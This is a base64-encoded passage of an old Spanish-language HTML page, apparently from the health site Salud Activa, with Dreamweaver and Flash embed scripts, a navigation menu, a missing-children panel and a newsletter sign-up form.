GluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCcsJ3dpZHRoJywnOTYnLCdoZWlnaHQnLCc0NjEnLCdzcmMnLCdzd2Yvc3VibWVudScsJ3F1YWxpdHknLCdoaWdoJywncGx1Z2luc3BhZ2UnLCdodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyJywnbW92aWUnLCdzd2Yvc3VibWVudScgKTsgLy9lbmQgQUMgY29kZQo8L3NjcmlwdD4gPG5vc2NyaXB0PgogICAgICA8b2JqZWN0IGNsYXNzaWQ9ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+CiAgICAgICAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0ic3dmL3N1Ym1lbnUuc3dmIiAvPgogICAgICAgIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4KICAgICAgICA8ZW1iZWQgc3JjPSJzd2Yvc3VibWVudS5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+PC9lbWJlZD48L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iI0ZGRkZGRiI+CiAgICAgICAgPHRyPiAKICAgICAgICAgIDx0ZCB3aWR0aD0iMTciIHJvd3NwYW49IjciPjxwPiZuYnNwOzwvcD48L3RkPgogICAgICAgICAgPHRkIHdpZHRoPSIxNzIiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbWcgc3JjPSJpbWcvM3B4LmpwZyIgd2lkdGg9IjUiIGhlaWdodD0iNSI+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGxpbmsgaHJlZj0iLi4vZXN0aWxvcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+Cjxib2R5IGJnY29sb3I9IiNDQ0NDQ0MiIHRvcG1hcmdpbj0iNiBweCI+PHRhYmxlIHdpZHRoPSIxNjUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIzIiBiZ2NvbG9yPSIjRkZGRkZGIj4KPHRyPgogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTkxIiBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiAgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MThfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+SG9tZTwvYT48L3RkPgogIDwvdHI+Cjx0cj4KICA8dGQgaGVpZ2h0PSIyOCIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj4mbmJzcDsmbmJzcDtOb3RpY2lhczwvYT48L3RkPgo8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJkb25hY2lvbmVzLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb25kb2JvdG9uIj5Eb25hY2lvbmVzPC9hPjwvdGQ+CiAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciICB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yM19uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5IaXN0b3JpYWwgZGUgbmV3c2xldHRlcnM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTEzYSIgY2xhc3M9ImZvbmRvYm90b24iPkVudmlhciBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yNl9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5WZXIgdHJhYmFqb3MgZGUgdXN1YXJpb3M8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MTZfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+U2FsdWQgQWN0aXZhIHByZW5zYTwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJtYWlsdG86c2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyIiBjbGFzcz0iZm9uZG9ib3RvbiI+TWFuZCZhYWN1dGU7IHR1IEMuVi48L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgIHdpZHRoPSI2ImhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTIxX25ldyIgY2xhc3M9ImZvbmRvYm90b24iPkluZm9ybWFjaSZvYWN1dGU7biBkZSBpbnRlciZlYWN1dGU7czwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyI+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiBoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xMF80IiBjbGFzcz0iZm9uZG9ib3RvbiI+Q29uZ3Jlc29zCiAgICAgICAgICAgICAgICAgIHkgSm9ybmFkYXM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTExIiBjbGFzcz0iZm9uZG9ib3RvbiI+UmVnaXN0cmFjaSZvYWN1dGU7bjwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgCiAgICAgICAgICA8L3RhYmxlPgo8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNSIgdGFyZ2V0PSJfYmxhbmsiPjxicj4KICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy9iYW5uZXJfZG9uYWNpb25lcy5qcGciIHdpZHRoPSIxNjIiIGhlaWdodD0iMTIwIiBib3JkZXI9IjAiPjxicj4KICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdG9uRm9yby5naWYiIHdpZHRoPSIxNzIiIGhlaWdodD0iMTE3IiBib3JkZXI9IjAiPjwvYT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTY3IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjkiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzAzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iOSIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ5IiBiYWNrZ3JvdW5kPSJpbWcvY2hpY29zX3BlcmRpZG9zXzA1LmdpZiI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDUuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDcuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMi5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEyLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwODIwMTIuMS5qcGciIHdpZHRoPSIxNDkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMy5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNi5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iNSIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTcuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNy5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZFRTdDRiIgY2xhc3M9InRpdHVsb2hvbWU1Ij48c3Ryb25nPk5pJm50aWxkZTtvcyBwZXJkaWRvczxicj4KICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0yOSIgY2xhc3M9ImJvdG9uIj5bVmVyIG0mYWFjdXRlO3NdPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTkuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xOS5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18yMC5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iMjUiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCQkNCgkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocD9pZD0xMSIgIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9penExLmpwZyIgd2lkdGg9IjEyIiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9hcnJpYmEuanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9kZXIxLmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiIgdmFsaWduPSJ0b3AiIGNsYXNzPSJyZWdGb25kbzEiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9penEuanBnIiB3aWR0aD0iMTIiIGhlaWdodD0iMTIiIC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSI5NCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV90aXQuanBnIiB3aWR0aD0iNjYiIGhlaWdodD0iMjMiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI1MCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJyZWdpc3RyYXJzZSI+SW5ncmVzJmFhY3V0ZTsgDQogICAgICAgICAgICAgIHR1cyBkYXRvcyB5IHJlY2liJmlhY3V0ZTsgbGEgbWVqb3IgaW5mb3JtYWNpJm9hY3V0ZTtuIGEgdHJhdiZlYWN1dGU7cyANCiAgICAgICAgICAgICAgZGUgbnVlc3RybzxzdHJvbmc+IE5ld3NsZXR0ZXI8L3N0cm9uZz4uIDxzdHJvbmc+PHNwYW4gY2xhc3M9ImdyYXRpcyI+R3JhdGlzITwvc3Bhbj48L3N0cm9uZz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI1IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9InRyYWJTRUNDSU9OIj5Ob21icmU8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBjbGFzcz0icmVnQ0VMREEiPjxpbnB1dCBuYW1lPSJub21icmUiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0ibm9tYnJlIiAvPjwvdGQ+DQogICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0idHJhYlNFQ0NJT04iPkFwZWxsaWRvPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iYXBlbGxpZG8iIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iYXBlbGxpZG8iIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJ0cmFiU0VDQ0lPTiI+RS1tYWlsPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iZW1haWwiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iZW1haWwiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InRyYWJTRUNDSU9OIj4mbmJzcDs8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idHJhYlNFQ0NJT04iPjxpbnB1dCB0eXBlPSJpbWFnZSIgc3JjPSJpbWcvcmVnaXN0cmF0ZV9ib3Rvbi5qcGciIHdpZHRoPSIxMTciIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgIDwvdGFibGU+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE0IiB2YWxpZ249InRvcCIgY2xhc3M9InJlZ0ZvbmRvMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2Rlci5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIxNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTIiIGhlaWdodD0iMjQiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfaXpxMi5qcGciIHdpZHRoPSIxMiIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI0Ij48aW1nIHNyYz0iaW1nL3JlZ2lzdHJhdGVfYWJham8uanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjI0IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfZGVyMi5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KCQkJCQkNCgkJCQkJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPiAKICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTcwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUyIj4KCQkJCQkJCQkJCQkJCQkJCTwvdGQ+CiAgICAgICAgICAgICAgICAgICAgI